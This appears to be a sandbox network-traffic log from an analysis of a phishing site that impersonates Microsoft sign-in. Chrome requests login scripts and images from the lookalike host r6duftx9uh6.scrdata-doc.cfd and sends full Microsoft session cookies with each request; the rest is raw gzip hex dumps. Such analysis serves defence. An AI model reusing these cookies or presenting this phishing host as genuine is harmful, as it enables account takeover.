2024-04-26 11:21:37 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49752	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:36 UTC	2770	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:37 UTC	1386	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:36 GMT Content-Type: application/x-javascript content-length: 113440 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE8E0647 x-ms-request-id: 62e8d734-c01e-003e-32cb-976692000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112136Z-17949d75874jndg88neeqm4ty80000000atg000000000ne2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:37 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 9e cf fe aa 0a 3b 29 67 39 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA);)g9{4MB(jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-04-26 11:21:37 UTC	1386	IN	Data Raw: 8c 18 4b 2e 7f 23 4f c5 54 f2 9e c4 9c ea 45 a8 8e 99 55 be 9f 14 ca cc 0d 17 9b 86 32 af 72 6f 69 a8 da 5c be 9d d4 33 32 c4 ec 08 5a 06 cc 16 9d 6a 6b f5 82 52 a8 0a 6d 38 20 2c e7 49 7b a8 5d ce b0 ee 28 a9 ae d8 70 49 89 be 80 21 32 2b 6c 86 3a af d2 bf 9d 72 9e d4 56 4c 66 54 8a b4 ed 1c bb 0b e5 e7 23 f9 bd 9b 0c 2f b6 97 be 90 47 6a d0 bc 16 42 1d 1c 1b 41 e5 d4 a9 b1 0a 21 27 fd 52 b9 a9 e1 29 a8 05 49 8c 9f 1a a1 b5 c5 bc 46 31 e5 00 7d 8d 82 63 18 d7 28 48 d3 9b 57 01 7a 1c 50 32 06 49 04 86 31 c8 09 9b 97 00 38 65 cb 4b 42 fd 87 bb 32 eb 13 13 43 3a cd cf 78 95 8e 78 55 de 46 ba d2 97 ad ec 93 3c b2 47 cc 50 7d 9a fe d5 4b 7f 34 3c ad 50 7b ea 93 8a 31 4a fa c1 08 b5 e7 e5 d4 ba 45 5a d2 4e 66 3c 70 7e cc 5f f5 22 38 94 80 cc 82 58 21 ec d4 bb Data Ascii: K.#OTEU2roi\32ZjkRm8 ,I{](pI!2+l:rVLfT#/GjBA!'R)IF1}c(HWzP2I18eKB2C:xxUF<GP}K4<P{1JEZNf<p~_"8X!
2024-04-26 11:21:37 UTC	7698	IN	Data Raw: f7 32 26 6a ea 49 d8 8d 0d 89 c2 2b fb b6 e8 40 82 4b 06 7d e5 de 61 77 76 29 3f 4e 5c b9 54 38 e4 44 8c 9f 2e e1 90 2b 1d ca c8 eb a9 d4 f2 f2 f5 db 5f f9 08 61 84 20 7e 13 e9 8e 1c 45 45 f9 f7 ec 4c e5 da 56 00 2b 1c bc 2d a1 95 40 f1 ae cc b1 a2 c4 89 2f f4 8d 28 83 39 e0 dd 45 30 81 45 db 11 e5 41 b9 23 f5 41 49 f5 81 4b 8e 60 7f ce b5 48 99 3c d0 a0 9d 62 91 ae 26 72 3c b5 69 f3 0a 10 e3 5a b7 c7 21 b2 4e ea f8 8a 71 3e e1 48 25 e3 bc 2b a0 2a f0 23 20 6f 60 91 e6 8a 03 ea 11 eb d0 9c c6 60 16 48 59 f0 af f2 bf 7f 7b 72 76 6e 02 0a cb 65 da 25 d7 90 84 69 57 33 ff 3d a8 6a b4 2d ff f2 c1 c6 60 db 49 c7 c8 51 ce ca d0 00 1a 01 b8 dc 47 b5 39 fe 56 b2 a4 26 6b 97 09 2a ac 44 d5 d8 c9 05 e4 9a 7b 9f 45 2b e3 b7 9e c5 2c 47 a0 c6 13 15 e7 6a ff 34 e5 80 Data Ascii: 2&jI+@K}awv)?N\T8D.+_a ~EELV+-@/(9E0EA#AIK`H<b&r<iZ!Nq>H%+# o``HY{rvne%iW3=j-`IQG9V&kD{E+,Gj4
2024-04-26 11:21:37 UTC	8686	IN	Data Raw: a7 bd 6f 6d 6e db 58 16 fc be bf 42 62 6c 19 30 40 f1 a1 87 23 92 20 a3 6b 3b bb ae ca b9 71 25 b9 f7 c3 21 69 1e 90 04 49 44 20 c0 00 a4 1e 16 b8 bf 7d bb 7b de 00 28 c9 3e f7 d4 dd da da 54 2c 02 83 79 f6 f4 f4 f4 f4 f4 43 5d 10 64 db 87 88 3c 72 06 f7 db ba 1f 85 cb b8 53 73 30 db 78 6c 8c f1 c0 cd aa b6 0e dc b5 71 a7 6a f4 42 48 fd b1 1b 28 1e 60 97 6b da 08 65 86 94 32 b8 45 68 a9 0a 08 5c ec a0 06 44 b6 bb c2 ad fd d8 3a 44 57 bb 2b 21 11 c2 b3 33 42 cb dd 78 0f 12 5a bd 0d 41 0c cf ce 30 10 40 fa 15 b2 19 30 c0 c7 f7 86 92 fb 7b ae 90 4c ab 9f 2d 8f 95 5c 1e ea db 13 94 9b e5 c1 8e fc 57 2e 86 15 ee 75 4e 1b ef 3c 34 88 4d 93 f9 83 9c 78 7c 51 68 33 05 c4 71 da 80 90 f6 0b 50 6c e5 ae 14 8a cd 8b b8 a5 50 78 fe af c3 ad 81 86 60 a8 69 7a 10 c7 34 Data Ascii: omnXBbl0@# k;q%!iID }{(>T,yC]d<rSs0xlqjBH(`ke2Eh\D:DW+!3BxZA0@0{L-\W.uN<4Mx\|Qh3qPlPx`iz4
2024-04-26 11:21:37 UTC	3024	IN	Data Raw: 8d c1 54 40 2b 36 a1 05 40 d0 cf 11 6c fc 31 ef 4c ac 8d 3f d4 52 9b df 02 15 48 f1 b8 e9 b7 4c 3b 39 09 fb 15 50 a8 04 a0 18 d6 cb e0 18 da 45 ca 0a a3 37 29 83 d8 cd 0f d1 19 b5 e1 8b a5 5c a6 2c 62 35 96 ae 02 cc 05 a2 33 3f e6 76 3a 1e 3c 9f 45 f2 89 50 39 bb 16 b2 3b 85 b1 d0 4c 96 af f4 bc 26 45 ae ee 96 20 21 11 c7 a0 81 9e 87 4e a2 b9 a2 1d 43 0c 8c 5e e0 6e bd aa 49 d2 cc a7 b6 03 25 ce e9 04 5d 49 ac 30 1a b5 5d ae 2f 06 1c e2 d9 2b ea 75 b7 4e 55 7b 4a 4c c4 70 6e 90 b2 73 97 39 27 78 72 ae de a8 b9 f0 38 cc d8 75 19 9c 47 82 0e 6c 43 28 f4 36 f7 3f e3 0d af 92 66 3e 4e 3e f0 6d e9 d6 aa e0 79 cd 19 0f f0 b0 38 dc d6 5b c4 e4 a6 c1 6d 90 12 db a4 ef 75 76 a7 d0 a4 80 9e 7d 70 eb 6d 9a 15 98 a3 ae 3a 2b 21 27 c9 16 0f a9 44 20 df c5 48 70 a3 81 Data Ascii: T@+6@l1L?RHL;9PE7)\,b53?v:<EP9;L&E !NC^nI%]I0]/+uNU{JLpns9'xr8uGlC(6?f>N>my8[muv}pm:+!'D Hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49756	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:36 UTC	1710	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:36 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:36 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 0bcfae94-701e-003d-71c0-971b94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112136Z-16f6b7d4654swmlfhf64ewn0c00000000b8g00000000sft4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 11:21:36 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49753	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:36 UTC	1707	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:37 UTC	741	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:37 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 44396d81-901e-005b-1bcb-97a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112136Z-17859dc676bbc4229am71z2pc000000001cg000000022bun x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 11:21:37 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49754	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:36 UTC	1696	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:37 UTC	744	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:36 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 5b57c8ba-d01e-001b-2d62-9770ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112136Z-16f6b7d4654w58zs7tze3krwen000000054000000000k2s7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT 